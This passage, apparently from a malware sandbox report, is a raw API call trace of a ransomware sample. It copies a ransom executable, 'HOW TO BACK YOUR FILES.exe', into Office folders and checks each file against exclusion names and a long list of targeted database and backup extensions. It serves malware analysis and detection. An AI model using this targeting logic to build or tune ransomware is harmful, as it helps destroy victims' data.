ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xc696, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSART9.BDR", cAlternateFileName="")) returned 0 [0152.027] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0152.027] ReleaseMutex (hMutex=0xec) returned 1 [0152.027] CloseHandle (hObject=0xec) returned 1 [0152.027] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" [0152.027] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539ee0 | out: hHeap=0x4f0000) returned 1 [0152.027] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c2c0 | out: hHeap=0x4f0000) returned 1 [0152.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT") returned 50 [0152.028] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\E48EC9CC286CA9EA1A88BC44A0315BA2") returned 0xec [0152.028] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0152.028] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" [0152.028] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0152.028] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\how to back your files.exe"), bFailIfExists=1) returned 0 [0152.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0152.029] GetLastError () returned 0x0 [0152.029] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0152.029] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x554940 [0152.029] ReadFile (in: hFile=0xf4, lpBuffer=0x554940, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x554940*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0152.030] CloseHandle (hObject=0xf4) returned 1 [0152.030] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x554940 | out: hHeap=0x4f0000) returned 1 [0152.030] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0152.030] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd0a825e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xd0a825e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0152.030] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0152.030] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0152.030] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0152.030] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd0a825e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xd0a825e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.030] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0152.030] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0152.031] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0152.031] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0152.031] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe7ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0152.031] lstrcmpiW (lpString1="1033", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0152.031] lstrcmpiW (lpString1="1033", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0152.031] lstrcmpiW (lpString1="1033", lpString2=".") returned 1 [0152.031] lstrcmpiW (lpString1="1033", lpString2="..") returned 1 [0152.031] lstrcmpiW (lpString1="1033", lpString2="windows") returned -1 [0152.031] lstrcmpiW (lpString1="1033", lpString2="bootmgr") returned -1 [0152.031] lstrcmpiW (lpString1="1033", lpString2="temp") returned -1 [0152.031] lstrcmpiW (lpString1="1033", lpString2="pagefile.sys") returned -1 [0152.031] lstrcmpiW (lpString1="1033", lpString2="boot") returned -1 [0152.031] lstrcmpiW (lpString1="1033", lpString2="ids.txt") returned -1 [0152.031] lstrcmpiW (lpString1="1033", lpString2="ntuser.dat") returned -1 [0152.031] lstrcmpiW (lpString1="1033", lpString2="perflogs") returned -1 [0152.031] lstrcmpiW (lpString1="1033", lpString2="MSBuild") returned -1 [0152.031] lstrlenW (lpString="1033") returned 4 [0152.031] lstrcpyW (in: lpString1=0x241e8ae, lpString2="1033" | out: lpString1="1033") returned="1033" [0152.031] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c2c0 [0152.031] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x70) returned 0x52d0c0 [0152.031] lstrcatW (in: lpString1="1033", lpString2="\\" | out: lpString1="1033\\") returned="1033\\" [0152.031] lstrcatW (in: lpString1="1033\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="1033\\HOW TO BACK YOUR FILES.exe") returned="1033\\HOW TO BACK YOUR FILES.exe" [0152.031] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1 [0152.035] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x16178, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACT3.SAM", cAlternateFileName="")) returned 1 [0152.036] lstrcmpiW (lpString1="ACT3.SAM", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0152.036] lstrcmpiW (lpString1="ACT3.SAM", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0152.036] lstrcmpiW (lpString1="ACT3.SAM", lpString2=".") returned 1 [0152.036] lstrcmpiW (lpString1="ACT3.SAM", lpString2="..") returned 1 [0152.036] lstrcmpiW (lpString1="ACT3.SAM", lpString2="windows") returned -1 [0152.036] lstrcmpiW (lpString1="ACT3.SAM", lpString2="bootmgr") returned -1 [0152.036] lstrcmpiW (lpString1="ACT3.SAM", lpString2="temp") returned -1 [0152.036] lstrcmpiW (lpString1="ACT3.SAM", lpString2="pagefile.sys") returned -1 [0152.036] lstrcmpiW (lpString1="ACT3.SAM", lpString2="boot") returned -1 [0152.036] lstrcmpiW (lpString1="ACT3.SAM", lpString2="ids.txt") returned -1 [0152.036] lstrcmpiW (lpString1="ACT3.SAM", lpString2="ntuser.dat") returned -1 [0152.036] lstrcmpiW (lpString1="ACT3.SAM", lpString2="perflogs") returned -1 [0152.036] lstrcmpiW (lpString1="ACT3.SAM", lpString2="MSBuild") returned -1 [0152.036] lstrlenW (lpString="ACT3.SAM") returned 8 [0152.036] lstrcpyW (in: lpString1=0x241e8ae, lpString2="ACT3.SAM" | out: lpString1="ACT3.SAM") returned="ACT3.SAM" [0152.036] lstrlenW (lpString="ACT3.SAM") returned 8 [0152.036] lstrlenW (lpString="Athena865") returned 9 [0152.036] lstrlenW (lpString=".dll") returned 4 [0152.036] lstrcmpiW (lpString1="ACT3.SAM", lpString2=".dll") returned 1 [0152.036] lstrlenW (lpString=".lnk") returned 4 [0152.036] lstrcmpiW (lpString1="ACT3.SAM", lpString2=".lnk") returned 1 [0152.036] lstrlenW (lpString=".ini") returned 4 [0152.036] lstrcmpiW (lpString1="ACT3.SAM", lpString2=".ini") returned 1 [0152.036] lstrlenW (lpString=".sys") returned 4 [0152.036] lstrcmpiW (lpString1="ACT3.SAM", lpString2=".sys") returned 1 [0152.036] lstrlenW (lpString="ACT3.SAM") returned 8 [0152.036] lstrlenW (lpString="bak") returned 3 [0152.036] lstrcmpiW (lpString1="SAM", lpString2="bak") returned 1 [0152.037] lstrlenW (lpString="ba_") returned 3 [0152.037] lstrcmpiW (lpString1="SAM", lpString2="ba_") returned 1 [0152.037] lstrlenW (lpString="dbb") returned 3 [0152.037] lstrcmpiW (lpString1="SAM", lpString2="dbb") returned 1 [0152.037] lstrlenW (lpString="vmdk") returned 4 [0152.037] lstrcmpiW (lpString1=".SAM", lpString2="vmdk") returned -1 [0152.037] lstrlenW (lpString="rar") returned 3 [0152.037] lstrcmpiW (lpString1="SAM", lpString2="rar") returned 1 [0152.037] lstrlenW (lpString="zip") returned 3 [0152.037] lstrcmpiW (lpString1="SAM", lpString2="zip") returned -1 [0152.037] lstrlenW (lpString="tgz") returned 3 [0152.037] lstrcmpiW (lpString1="SAM", lpString2="tgz") returned -1 [0152.037] lstrlenW (lpString="vbox") returned 4 [0152.037] lstrcmpiW (lpString1=".SAM", lpString2="vbox") returned -1 [0152.037] lstrlenW (lpString="vdi") returned 3 [0152.037] lstrcmpiW (lpString1="SAM", lpString2="vdi") returned -1 [0152.037] lstrlenW (lpString="vhd") returned 3 [0152.037] lstrcmpiW (lpString1="SAM", lpString2="vhd") returned -1 [0152.037] lstrlenW (lpString="vhdx") returned 4 [0152.037] lstrcmpiW (lpString1=".SAM", lpString2="vhdx") returned -1 [0152.037] lstrlenW (lpString="avhd") returned 4 [0152.037] lstrcmpiW (lpString1=".SAM", lpString2="avhd") returned -1 [0152.037] lstrlenW (lpString="db") returned 2 [0152.037] lstrcmpiW (lpString1="AM", lpString2="db") returned -1 [0152.037] lstrlenW (lpString="db2") returned 3 [0152.037] lstrcmpiW (lpString1="SAM", lpString2="db2") returned 1 [0152.037] lstrlenW (lpString="db3") returned 3 [0152.037] lstrcmpiW (lpString1="SAM", lpString2="db3") returned 1 [0152.037] lstrlenW (lpString="dbf") returned 3 [0152.037] lstrcmpiW (lpString1="SAM", lpString2="dbf") returned 1 [0152.038] lstrlenW (lpString="mdf") returned 3 [0152.038] lstrcmpiW (lpString1="SAM", lpString2="mdf") returned 1 [0152.038] lstrlenW (lpString="mdb") returned 3 [0152.038] lstrcmpiW (lpString1="SAM", lpString2="mdb") returned 1 [0152.038] lstrlenW (lpString="sql") returned 3 [0152.038] lstrcmpiW (lpString1="SAM", lpString2="sql") returned -1 [0152.038] lstrlenW (lpString="sqlite") returned 6 [0152.038] lstrcmpiW (lpString1="T3.SAM", lpString2="sqlite") returned 1 [0152.038] lstrlenW (lpString="sqlite3") returned 7 [0152.038] lstrcmpiW (lpString1="CT3.SAM", lpString2="sqlite3") returned -1 [0152.038] lstrlenW (lpString="sqlitedb") returned 8 [0152.038] lstrlenW (lpString="xml") returned 3 [0152.038] lstrcmpiW (lpString1="SAM", lpString2="xml") returned -1 [0152.038] lstrlenW (lpString="$er") returned 3 [0152.038] lstrcmpiW (lpString1="SAM", lpString2="$er") returned 1 [0152.038] lstrlenW (lpString="4dd") returned 3 [0152.038] lstrcmpiW (lpString1="SAM", lpString2="4dd") returned 1 [0152.038] lstrlenW (lpString="4dl") returned 3 [0152.038] lstrcmpiW (lpString1="SAM", lpString2="4dl") returned 1 [0152.038] lstrlenW (lpString="^^^") returned 3 [0152.038] lstrcmpiW (lpString1="SAM", lpString2="^^^") returned 1 [0152.038] lstrlenW (lpString="abs") returned 3 [0152.038] lstrcmpiW (lpString1="SAM", lpString2="abs") returned 1 [0152.038] lstrlenW (lpString="abx") returned 3 [0152.038] lstrcmpiW (lpString1="SAM", lpString2="abx") returned 1 [0152.038] lstrlenW (lpString="accdb") returned 5 [0152.038] lstrcmpiW (lpString1="3.SAM", lpString2="accdb") returned -1 [0152.038] lstrlenW (lpString="accdc") returned 5 [0152.038] lstrcmpiW (lpString1="3.SAM", lpString2="accdc") returned -1 [0152.039] lstrlenW (lpString="accde") returned 5 [0152.039] lstrcmpiW (lpString1="3.SAM", lpString2="accde") returned -1 [0152.039] lstrlenW (lpString="accdr") returned 5 [0152.039] lstrcmpiW (lpString1="3.SAM", lpString2="accdr") returned -1 [0152.039] lstrlenW (lpString="accdt") returned 5 [0152.039] lstrcmpiW (lpString1="3.SAM", lpString2="accdt") returned -1 [0152.039] lstrlenW (lpString="accdw") returned 5 [0152.039] lstrcmpiW (lpString1="3.SAM", lpString2="accdw") returned -1 [0152.039] lstrlenW (lpString="accft") returned 5 [0152.039] lstrcmpiW (lpString1="3.SAM", lpString2="accft") returned -1 [0152.039] lstrlenW (lpString="adb") returned 3 [0152.039] lstrcmpiW (lpString1="SAM", lpString2="adb") returned 1 [0152.039] lstrlenW (lpString="adb") returned 3 [0152.039] lstrcmpiW (lpString1="SAM", lpString2="adb") returned 1 [0152.039] lstrlenW (lpString="ade") returned 3 [0152.039] lstrcmpiW (lpString1="SAM", lpString2="ade") returned 1 [0152.039] lstrlenW (lpString="adf") returned 3 [0152.039] lstrcmpiW (lpString1="SAM", lpString2="adf") returned 1 [0152.039] lstrlenW (lpString="adn") returned 3 [0152.039] lstrcmpiW (lpString1="SAM", lpString2="adn") returned 1 [0152.039] lstrlenW (lpString="adp") returned 3 [0152.039] lstrcmpiW (lpString1="SAM", lpString2="adp") returned 1 [0152.039] lstrlenW (lpString="alf") returned 3 [0152.039] lstrcmpiW (lpString1="SAM", lpString2="alf") returned 1 [0152.039] lstrlenW (lpString="ask") returned 3 [0152.039] lstrcmpiW (lpString1="SAM", lpString2="ask") returned 1 [0152.039] lstrlenW (lpString="btr") returned 3 [0152.040] lstrcmpiW (lpString1="SAM", lpString2="btr") returned 1 [0152.040] lstrlenW (lpString="cat") returned 3 [0152.040] lstrcmpiW (lpString1="SAM", lpString2="cat") returned 1 [0152.040] lstrlenW (lpString="cdb") returned 3 [0152.040] lstrcmpiW (lpString1="SAM", lpString2="cdb") returned 1 [0152.040] lstrlenW (lpString="ckp") returned 3 [0152.040] lstrcmpiW (lpString1="SAM", lpString2="ckp") returned 1 [0152.040] lstrlenW (lpString="cma") returned 3 [0152.040] lstrcmpiW (lpString1="SAM", lpString2="cma") returned 1 [0152.040] lstrlenW (lpString="cpd") returned 3 [0152.040] lstrcmpiW (lpString1="SAM", lpString2="cpd") returned 1 [0152.040] lstrlenW (lpString="dacpac") returned 6 [0152.040] lstrcmpiW (lpString1="T3.SAM", lpString2="dacpac") returned 1 [0152.040] lstrlenW (lpString="dad") returned 3 [0152.040] lstrcmpiW (lpString1="SAM", lpString2="dad") returned 1 [0152.040] lstrlenW (lpString="dadiagrams") returned 10 [0152.040] lstrlenW (lpString="daschema") returned 8 [0152.040] lstrlenW (lpString="db-journal") returned 10 [0152.040] lstrlenW (lpString="db-shm") returned 6 [0152.040] lstrcmpiW (lpString1="T3.SAM", lpString2="db-shm") returned 1 [0152.040] lstrlenW (lpString="db-wal") returned 6 [0152.040] lstrcmpiW (lpString1="T3.SAM", lpString2="db-wal") returned 1 [0152.040] lstrlenW (lpString="dbc") returned 3 [0152.040] lstrcmpiW (lpString1="SAM", lpString2="dbc") returned 1 [0152.040] lstrlenW (lpString="dbs") returned 3 [0152.040] lstrcmpiW (lpString1="SAM", lpString2="dbs") returned 1 [0152.041] lstrlenW (lpString="dbt") returned 3 [0152.041] lstrcmpiW (lpString1="SAM", lpString2="dbt") returned 1 [0152.041] lstrlenW (lpString="dbv") returned 3 [0152.041] lstrcmpiW (lpString1="SAM", lpString2="dbv") returned 1 [0152.041] lstrlenW (lpString="dbx") returned 3 [0152.041] lstrcmpiW (lpString1="SAM", lpString2="dbx") returned 1 [0152.041] lstrlenW (lpString="dcb") returned 3 [0152.041] lstrcmpiW (lpString1="SAM", lpString2="dcb") returned 1 [0152.041] lstrlenW (lpString="dct") returned 3 [0152.041] lstrcmpiW (lpString1="SAM", lpString2="dct") returned 1 [0152.041] lstrlenW (lpString="dcx") returned 3 [0152.041] lstrcmpiW (lpString1="SAM", lpString2="dcx") returned 1 [0152.041] lstrlenW (lpString="ddl") returned 3 [0152.041] lstrcmpiW (lpString1="SAM", lpString2="ddl") returned 1 [0152.041] lstrlenW (lpString="dlis") returned 4 [0152.041] lstrcmpiW (lpString1=".SAM", lpString2="dlis") returned -1 [0152.041] lstrlenW (lpString="dp1") returned 3 [0152.041] lstrcmpiW (lpString1="SAM", lpString2="dp1") returned 1 [0152.041] lstrlenW (lpString="dqy") returned 3 [0152.041] lstrcmpiW (lpString1="SAM", lpString2="dqy") returned 1 [0152.041] lstrlenW (lpString="dsk") returned 3 [0152.041] lstrcmpiW (lpString1="SAM", lpString2="dsk") returned 1 [0152.041] lstrlenW (lpString="dsn") returned 3 [0152.041] lstrcmpiW (lpString1="SAM", lpString2="dsn") returned 1 [0152.041] lstrlenW (lpString="dtsx") returned 4 [0152.041] lstrcmpiW (lpString1=".SAM", lpString2="dtsx") returned -1 [0152.041] lstrlenW (lpString="dxl") returned 3 [0152.041] lstrcmpiW (lpString1="SAM", lpString2="dxl") returned 1 [0152.042] lstrlenW (lpString="eco") returned 3 [0152.042] lstrcmpiW (lpString1="SAM", lpString2="eco") returned 1 [0152.042] lstrlenW (lpString="ecx") returned 3 [0152.042] lstrcmpiW (lpString1="SAM", lpString2="ecx") returned 1 [0152.042] lstrlenW (lpString="edb") returned 3 [0152.042] lstrcmpiW (lpString1="SAM", lpString2="edb") returned 1 [0152.042] lstrlenW (lpString="epim") returned 4 [0152.042] lstrcmpiW (lpString1=".SAM", lpString2="epim") returned -1 [0152.042] lstrlenW (lpString="fcd") returned 3 [0152.042] lstrcmpiW (lpString1="SAM", lpString2="fcd") returned 1 [0152.042] lstrlenW (lpString="fdb") returned 3 [0152.042] lstrcmpiW (lpString1="SAM", lpString2="fdb") returned 1 [0152.042] lstrlenW (lpString="fic") returned 3 [0152.042] lstrcmpiW (lpString1="SAM", lpString2="fic") returned 1 [0152.042] lstrlenW (lpString="flexolibrary") returned 12 [0152.042] lstrlenW (lpString="fm5") returned 3 [0152.042] lstrcmpiW (lpString1="SAM", lpString2="fm5") returned 1 [0152.042] lstrlenW (lpString="fmp") returned 3 [0152.042] lstrcmpiW (lpString1="SAM", lpString2="fmp") returned 1 [0152.042] lstrlenW (lpString="fmp12") returned 5 [0152.042] lstrcmpiW (lpString1="3.SAM", lpString2="fmp12") returned -1 [0152.042] lstrlenW (lpString="fmpsl") returned 5 [0152.042] lstrcmpiW (lpString1="3.SAM", lpString2="fmpsl") returned -1 [0152.042] lstrlenW (lpString="fol") returned 3 [0152.042] lstrcmpiW (lpString1="SAM", lpString2="fol") returned 1 [0152.042] lstrlenW (lpString="fp3") returned 3 [0152.042] lstrcmpiW (lpString1="SAM", lpString2="fp3") returned 1 [0152.042] lstrlenW (lpString="fp4") returned 3 [0152.043] lstrcmpiW (lpString1="SAM", lpString2="fp4") returned 1 [0152.043] lstrlenW (lpString="fp5") returned 3 [0152.043] lstrcmpiW (lpString1="SAM", lpString2="fp5") returned 1 [0152.043] lstrlenW (lpString="fp7") returned 3 [0152.043] lstrcmpiW (lpString1="SAM", lpString2="fp7") returned 1 [0152.043] lstrlenW (lpString="fpt") returned 3 [0152.043] lstrcmpiW (lpString1="SAM", lpString2="fpt") returned 1 [0152.043] lstrlenW (lpString="frm") returned 3 [0152.043] lstrcmpiW (lpString1="SAM", lpString2="frm") returned 1 [0152.043] lstrlenW (lpString="gdb") returned 3 [0152.043] lstrcmpiW (lpString1="SAM", lpString2="gdb") returned 1 [0152.043] lstrlenW (lpString="gdb") returned 3 [0152.043] lstrcmpiW (lpString1="SAM", lpString2="gdb") returned 1 [0152.043] lstrlenW (lpString="grdb") returned 4 [0152.043] lstrcmpiW (lpString1=".SAM", lpString2="grdb") returned -1 [0152.043] lstrlenW (lpString="gwi") returned 3 [0152.043] lstrcmpiW (lpString1="SAM", lpString2="gwi") returned 1 [0152.043] lstrlenW (lpString="hdb") returned 3 [0152.043] lstrcmpiW (lpString1="SAM", lpString2="hdb") returned 1 [0152.043] lstrlenW (lpString="his") returned 3 [0152.043] lstrcmpiW (lpString1="SAM", lpString2="his") returned 1 [0152.043] lstrlenW (lpString="ib") returned 2 [0152.043] lstrcmpiW (lpString1="AM", lpString2="ib") returned -1 [0152.043] lstrlenW (lpString="idb") returned 3 [0152.043] lstrcmpiW (lpString1="SAM", lpString2="idb") returned 1 [0152.043] lstrlenW (lpString="ihx") returned 3 [0152.043] lstrcmpiW (lpString1="SAM", lpString2="ihx") returned 1 [0152.043] lstrlenW (lpString="itdb") returned 4 [0152.043] lstrcmpiW (lpString1=".SAM", lpString2="itdb") returned -1 [0152.044] lstrlenW (lpString="itw") returned 3 [0152.044] lstrcmpiW (lpString1="SAM", lpString2="itw") returned 1 [0152.044] lstrlenW (lpString="jet") returned 3 [0152.044] lstrcmpiW (lpString1="SAM", lpString2="jet") returned 1 [0152.044] lstrlenW (lpString="jtx") returned 3 [0152.044] lstrcmpiW (lpString1="SAM", lpString2="jtx") returned 1 [0152.044] lstrlenW (lpString="kdb") returned 3 [0152.044] lstrcmpiW (lpString1="SAM", lpString2="kdb") returned 1 [0152.044] lstrlenW (lpString="kexi") returned 4 [0152.044] lstrcmpiW (lpString1=".SAM", lpString2="kexi") returned -1 [0152.044] lstrlenW (lpString="kexic") returned 5 [0152.044] lstrcmpiW (lpString1="3.SAM", lpString2="kexic") returned -1 [0152.044] lstrlenW (lpString="kexis") returned 5 [0152.044] lstrcmpiW (lpString1="3.SAM", lpString2="kexis") returned -1 [0152.044] lstrlenW (lpString="lgc") returned 3 [0152.044] lstrcmpiW (lpString1="SAM", lpString2="lgc") returned 1 [0152.044] lstrlenW (lpString="lwx") returned 3 [0152.044] lstrcmpiW (lpString1="SAM", lpString2="lwx") returned 1 [0152.044] lstrlenW (lpString="maf") returned 3 [0152.044] lstrcmpiW (lpString1="SAM", lpString2="maf") returned 1 [0152.044] lstrlenW (lpString="maq") returned 3 [0152.044] lstrcmpiW (lpString1="SAM", lpString2="maq") returned 1 [0152.044] lstrlenW (lpString="mar") returned 3 [0152.044] lstrcmpiW (lpString1="SAM", lpString2="mar") returned 1 [0152.044] lstrlenW (lpString="marshal") returned 7 [0152.044] lstrcmpiW (lpString1="CT3.SAM", lpString2="marshal") returned -1 [0152.044] lstrlenW (lpString="mas") returned 3 [0152.044] lstrcmpiW (lpString1="SAM", lpString2="mas") returned 1 [0152.045] lstrlenW (lpString="mav") returned 3 [0152.045] lstrcmpiW (lpString1="SAM", lpString2="mav") returned 1 [0152.045] lstrlenW (lpString="maw") returned 3 [0152.045] lstrcmpiW (lpString1="SAM", lpString2="maw") returned 1 [0152.045] lstrlenW (lpString="mdbhtml") returned 7 [0152.045] lstrcmpiW (lpString1="CT3.SAM", lpString2="mdbhtml") returned -1 [0152.045] lstrlenW (lpString="mdn") returned 3 [0152.045] lstrcmpiW (lpString1="SAM", lpString2="mdn") returned 1 [0152.045] lstrlenW (lpString="mdt") returned 3 [0152.045] lstrcmpiW (lpString1="SAM", lpString2="mdt") returned 1 [0152.045] lstrlenW (lpString="mfd") returned 3 [0152.045] lstrcmpiW (lpString1="SAM", lpString2="mfd") returned 1 [0152.045] lstrlenW (lpString="mpd") returned 3 [0152.045] lstrcmpiW (lpString1="SAM", lpString2="mpd") returned 1 [0152.045] lstrlenW (lpString="mrg") returned 3 [0152.045] lstrcmpiW (lpString1="SAM", lpString2="mrg") returned 1 [0152.045] lstrlenW (lpString="mud") returned 3 [0152.045] lstrcmpiW (lpString1="SAM", lpString2="mud") returned 1 [0152.045] lstrlenW (lpString="mwb") returned 3 [0152.045] lstrcmpiW (lpString1="SAM", lpString2="mwb") returned 1 [0152.045] lstrlenW (lpString="myd") returned 3 [0152.045] lstrcmpiW (lpString1="SAM", lpString2="myd") returned 1 [0152.045] lstrlenW (lpString="ndf") returned 3 [0152.045] lstrcmpiW (lpString1="SAM", lpString2="ndf") returned 1 [0152.045] lstrlenW (lpString="nnt") returned 3 [0152.045] lstrcmpiW (lpString1="SAM", lpString2="nnt") returned 1 [0152.045] lstrlenW (lpString="nrmlib") returned 6 [0152.045] lstrcmpiW (lpString1="T3.SAM", lpString2="nrmlib") returned 1 [0152.045] lstrlenW (lpString="ns2") returned 3 [0152.045] lstrcmpiW (lpString1="SAM", lpString2="ns2") returned 1 [0152.046] lstrlenW (lpString="ns3") returned 3 [0152.046] lstrcmpiW (lpString1="SAM", lpString2="ns3") returned 1 [0152.046] lstrlenW (lpString="ns4") returned 3 [0152.046] lstrcmpiW (lpString1="SAM", lpString2="ns4") returned 1 [0152.046] lstrlenW (lpString="nsf") returned 3 [0152.046] lstrcmpiW (lpString1="SAM", lpString2="nsf") returned 1 [0152.046] lstrlenW (lpString="nv") returned 2 [0152.046] lstrcmpiW (lpString1="AM", lpString2="nv") returned -1 [0152.046] lstrlenW (lpString="nv2") returned 3 [0152.046] lstrcmpiW (lpString1="SAM", lpString2="nv2") returned 1 [0152.046] lstrlenW (lpString="nwdb") returned 4 [0152.046] lstrcmpiW (lpString1=".SAM", lpString2="nwdb") returned -1 [0152.046] lstrlenW (lpString="nyf") returned 3 [0152.046] lstrcmpiW (lpString1="SAM", lpString2="nyf") returned 1 [0152.046] lstrlenW (lpString="odb") returned 3 [0152.046] lstrcmpiW (lpString1="SAM", lpString2="odb") returned 1 [0152.046] lstrlenW (lpString="odb") returned 3 [0152.046] lstrcmpiW (lpString1="SAM", lpString2="odb") returned 1 [0152.046] lstrlenW (lpString="oqy") returned 3 [0152.046] lstrcmpiW (lpString1="SAM", lpString2="oqy") returned 1 [0152.046] lstrlenW (lpString="ora") returned 3 [0152.046] lstrcmpiW (lpString1="SAM", lpString2="ora") returned 1 [0152.046] lstrlenW (lpString="orx") returned 3 [0152.046] lstrcmpiW (lpString1="SAM", lpString2="orx") returned 1 [0152.046] lstrlenW (lpString="owc") returned 3 [0152.046] lstrcmpiW (lpString1="SAM", lpString2="owc") returned 1 [0152.046] lstrlenW (lpString="p96") returned 3 [0152.046] lstrcmpiW (lpString1="SAM", lpString2="p96") returned 1 [0152.046] lstrlenW (lpString="p97") returned 3 [0152.046] lstrcmpiW (lpString1="SAM", lpString2="p97") returned 1 [0152.047] lstrlenW (lpString="pan") returned 3 [0152.047] lstrcmpiW (lpString1="SAM", lpString2="pan") returned 1 [0152.047] lstrlenW (lpString="pdb") returned 3 [0152.047] lstrcmpiW (lpString1="SAM", lpString2="pdb") returned 1 [0152.047] lstrlenW (lpString="pdm") returned 3 [0152.047] lstrcmpiW (lpString1="SAM", lpString2="pdm") returned 1 [0152.047] lstrlenW (lpString="pnz") returned 3 [0152.047] lstrcmpiW (lpString1="SAM", lpString2="pnz") returned 1 [0152.047] lstrlenW (lpString="qry") returned 3 [0152.047] lstrcmpiW (lpString1="SAM", lpString2="qry") returned 1 [0152.047] lstrlenW (lpString="qvd") returned 3 [0152.047] lstrcmpiW (lpString1="SAM", lpString2="qvd") returned 